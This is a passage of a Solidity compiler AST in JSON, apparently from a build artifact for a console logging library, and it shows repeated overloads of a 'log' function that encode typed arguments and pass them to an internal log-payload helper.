memory"}],"expression":{"id":30240,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56117:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30241,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56121:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56117:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30247,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56117:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30239,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"56101:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30248,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56101:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30249,"nodeType":"ExpressionStatement","src":"56101:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56025:3:15","parameters":{"id":30237,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30230,"mutability":"mutable","name":"p0","nameLocation":"56034:2:15","nodeType":"VariableDeclaration","scope":30251,"src":"56029:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30229,"name":"bool","nodeType":"ElementaryTypeName","src":"56029:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30232,"mutability":"mutable","name":"p1","nameLocation":"56046:2:15","nodeType":"VariableDeclaration","scope":30251,"src":"56038:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30231,"name":"address","nodeType":"ElementaryTypeName","src":"56038:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30234,"mutability":"mutable","name":"p2","nameLocation":"56055:2:15","nodeType":"VariableDeclaration","scope":30251,"src":"56050:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30233,"name":"bool","nodeType":"ElementaryTypeName","src":"56050:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30236,"mutability":"mutable","name":"p3","nameLocation":"56073:2:15","nodeType":"VariableDeclaration","scope":30251,"src":"56059:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30235,"name":"string","nodeType":"ElementaryTypeName","src":"56059:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"56028:48:15"},"returnParameters":{"id":30238,"nodeType":"ParameterList","parameters":[],"src":"56091:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30274,"nodeType":"FunctionDefinition","src":"56203:170:15","nodes":[],"body":{"id":30273,"nodeType":"Block","src":"56269:104:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c2c626f6f6c29","id":30265,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56319:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6a9c478bc98300d44308882e2e0b5864f2536a2939cb77105f503738b5832577","typeString":"literal_string \"log(bool,address,bool,bool)\""},"value":"log(bool,address,bool,bool)"},{"id":30266,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30253,"src":"56350:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30267,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30255,"src":"56354:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30268,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30257,"src":"56358:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30269,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30259,"src":"56362:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6a9c478bc98300d44308882e2e0b5864f2536a2939cb77105f503738b5832577","typeString":"literal_string \"log(bool,address,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30263,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56295:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30264,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56299:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56295:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56295:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30262,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"56279:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30271,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56279:87:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30272,"nodeType":"ExpressionStatement","src":"56279:87:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56212:3:15","parameters":{"id":30260,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30253,"mutability":"mutable","name":"p0","nameLocation":"56221:2:15","nodeType":"VariableDeclaration","scope":30274,"src":"56216:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30252,"name":"bool","nodeType":"ElementaryTypeName","src":"56216:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30255,"mutability":"mutable","name":"p1","nameLocation":"56233:2:15","nodeType":"VariableDeclaration","scope":30274,"src":"56225:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30254,"name":"address","nodeType":"ElementaryTypeName","src":"56225:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30257,"mutability":"mutable","name":"p2","nameLocation":"56242:2:15","nodeType":"VariableDeclaration","scope":30274,"src":"56237:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30256,"name":"bool","nodeType":"ElementaryTypeName","src":"56237:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30259,"mutability":"mutable","name":"p3","nameLocation":"56251:2:15","nodeType":"VariableDeclaration","scope":30274,"src":"56246:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30258,"name":"bool","nodeType":"ElementaryTypeName","src":"56246:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"56215:39:15"},"returnParameters":{"id":30261,"nodeType":"ParameterList","parameters":[],"src":"56269:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30297,"nodeType":"FunctionDefinition","src":"56379:176:15","nodes":[],"body":{"id":30296,"nodeType":"Block","src":"56448:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c2c6164647265737329","id":30288,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56498:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1c41a336759f1c2fe1d8b137296b2dfbdcfe7114fc53f203852c2835c09f8870","typeString":"literal_string \"log(bool,address,bool,address)\""},"value":"log(bool,address,bool,address)"},{"id":30289,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30276,"src":"56532:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30290,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30278,"src":"56536:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30291,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30280,"src":"56540:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30292,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30282,"src":"56544:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1c41a336759f1c2fe1d8b137296b2dfbdcfe7114fc53f203852c2835c09f8870","typeString":"literal_string \"log(bool,address,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30286,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56474:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30287,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56478:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56474:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30293,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56474:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30285,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"56458:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30294,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56458:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30295,"nodeType":"ExpressionStatement","src":"56458:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56388:3:15","parameters":{"id":30283,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30276,"mutability":"mutable","name":"p0","nameLocation":"56397:2:15","nodeType":"VariableDeclaration","scope":30297,"src":"56392:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30275,"name":"bool","nodeType":"ElementaryTypeName","src":"56392:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30278,"mutability":"mutable","name":"p1","nameLocation":"56409:2:15","nodeType":"VariableDeclaration","scope":30297,"src":"56401:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30277,"name":"address","nodeType":"ElementaryTypeName","src":"56401:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30280,"mutability":"mutable","name":"p2","nameLocation":"56418:2:15","nodeType":"VariableDeclaration","scope":30297,"src":"56413:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30279,"name":"bool","nodeType":"ElementaryTypeName","src":"56413:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30282,"mutability":"mutable","name":"p3","nameLocation":"56430:2:15","nodeType":"VariableDeclaration","scope":30297,"src":"56422:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30281,"name":"address","nodeType":"ElementaryTypeName","src":"56422:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"56391:42:15"},"returnParameters":{"id":30284,"nodeType":"ParameterList","parameters":[],"src":"56448:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30320,"nodeType":"FunctionDefinition","src":"56561:182:15","nodes":[],"body":{"id":30319,"nodeType":"Block","src":"56633:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c616464726573732c75696e7432353629","id":30311,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56683:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_0c66d1be8b80b8d96088c57d6fc12897f737822d5beb6e751a923520a0a509b8","typeString":"literal_string \"log(bool,address,address,uint256)\""},"value":"log(bool,address,address,uint256)"},{"id":30312,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30299,"src":"56720:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30313,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30301,"src":"56724:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30314,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30303,"src":"56728:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30315,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30305,"src":"56732:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0c66d1be8b80b8d96088c57d6fc12897f737822d5beb6e751a923520a0a509b8","typeString":"literal_string \"log(bool,address,address,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30309,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56659:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30310,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56663:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56659:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30316,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56659:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30308,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"56643:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30317,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56643:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30318,"nodeType":"ExpressionStatement","src":"56643:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56570:3:15","parameters":{"id":30306,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30299,"mutability":"mutable","name":"p0","nameLocation":"56579:2:15","nodeType":"VariableDeclaration","scope":30320,"src":"56574:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30298,"name":"bool","nodeType":"ElementaryTypeName","src":"56574:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30301,"mutability":"mutable","name":"p1","nameLocation":"56591:2:15","nodeType":"VariableDeclaration","scope":30320,"src":"56583:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30300,"name":"address","nodeType":"ElementaryTypeName","src":"56583:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30303,"mutability":"mutable","name":"p2","nameLocation":"56603:2:15","nodeType":"VariableDeclaration","scope":30320,"src":"56595:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30302,"name":"address","nodeType":"ElementaryTypeName","src":"56595:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30305,"mutability":"mutable","name":"p3","nameLocation":"56615:2:15","nodeType":"VariableDeclaration","scope":30320,"src":"56607:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30304,"name":"uint256","nodeType":"ElementaryTypeName","src":"56607:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"56573:45:15"},"returnParameters":{"id":30307,"nodeType":"ParameterList","parameters":[],"src":"56633:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30343,"nodeType":"FunctionDefinition","src":"56749:187:15","nodes":[],"body":{"id":30342,"nodeType":"Block","src":"56827:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c616464726573732c737472696e6729","id":30334,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56877:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_d812a167fb7ec8cf55a11f06ff411238f0a431de331592d8a735c8c8481f7432","typeString":"literal_string \"log(bool,address,address,string)\""},"value":"log(bool,address,address,string)"},{"id":30335,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30322,"src":"56913:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30336,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30324,"src":"56917:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30337,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30326,"src":"56921:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30338,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30328,"src":"56925:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d812a167fb7ec8cf55a11f06ff411238f0a431de331592d8a735c8c8481f7432","typeString":"literal_string \"log(bool,address,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30332,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56853:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30333,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56857:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56853:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30339,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56853:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30331,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"56837:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30340,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56837:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30341,"nodeType":"ExpressionStatement","src":"56837:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56758:3:15","parameters":{"id":30329,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30322,"mutability":"mutable","name":"p0","nameLocation":"56767:2:15","nodeType":"VariableDeclaration","scope":30343,"src":"56762:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30321,"name":"bool","nodeType":"ElementaryTypeName","src":"56762:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30324,"mutability":"mutable","name":"p1","nameLocation":"56779:2:15","nodeType":"VariableDeclaration","scope":30343,"src":"56771:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30323,"name":"address","nodeType":"ElementaryTypeName","src":"56771:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30326,"mutability":"mutable","name":"p2","nameLocation":"56791:2:15","nodeType":"VariableDeclaration","scope":30343,"src":"56783:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30325,"name":"address","nodeType":"ElementaryTypeName","src":"56783:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30328,"mutability":"mutable","name":"p3","nameLocation":"56809:2:15","nodeType":"VariableDeclaration","scope":30343,"src":"56795:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30327,"name":"string","nodeType":"ElementaryTypeName","src":"56795:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"56761:51:15"},"returnParameters":{"id":30330,"nodeType":"ParameterList","parameters":[],"src":"56827:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30366,"nodeType":"FunctionDefinition","src":"56942:176:15","nodes":[],"body":{"id":30365,"nodeType":"Block","src":"57011:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c616464726573732c626f6f6c29","id":30357,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"57061:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_46600be071bbf2a7e3a3cb4fd0e6efe39e86453e4c4a27c400470867be7afd9e","typeString":"literal_string \"log(bool,address,address,bool)\""},"value":"log(bool,address,address,bool)"},{"id":30358,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30345,"src":"57095:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30359,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30347,"src":"57099:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30360,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30349,"src":"57103:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30361,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30351,"src":"57107:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_46600be071bbf2a7e3a3cb4fd0e6efe39e86453e4c4a27c400470867be7afd9e","typeString":"literal_string \"log(bool,address,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30355,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"57037:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30356,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"57041:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"57037:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30362,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57037:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30354,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"57021:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30363,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"57021:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30364,"nodeType":"ExpressionStatement","src":"57021:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56951:3:15","parameters":{"id":30352,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30345,"mutability":"mutable","name":"p0","nameLocation":"56960:2:15","nodeType":"VariableDeclaration","scope":30366,"src":"56955:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30344,"name":"bool","nodeType":"ElementaryTypeName","src":"56955:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30347,"mutability":"mutable","name":"p1","nameLocation":"56972:2:15","nodeType":"VariableDeclaration","scope":30366,"src":"56964:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30346,"name":"address","nodeType":"ElementaryTypeName","src":"56964:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30349,"mutability":"mutable","name":"p2","nameLocation":"56984:2:15","nodeType":"VariableDeclaration","scope":30366,"src":"56976:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier"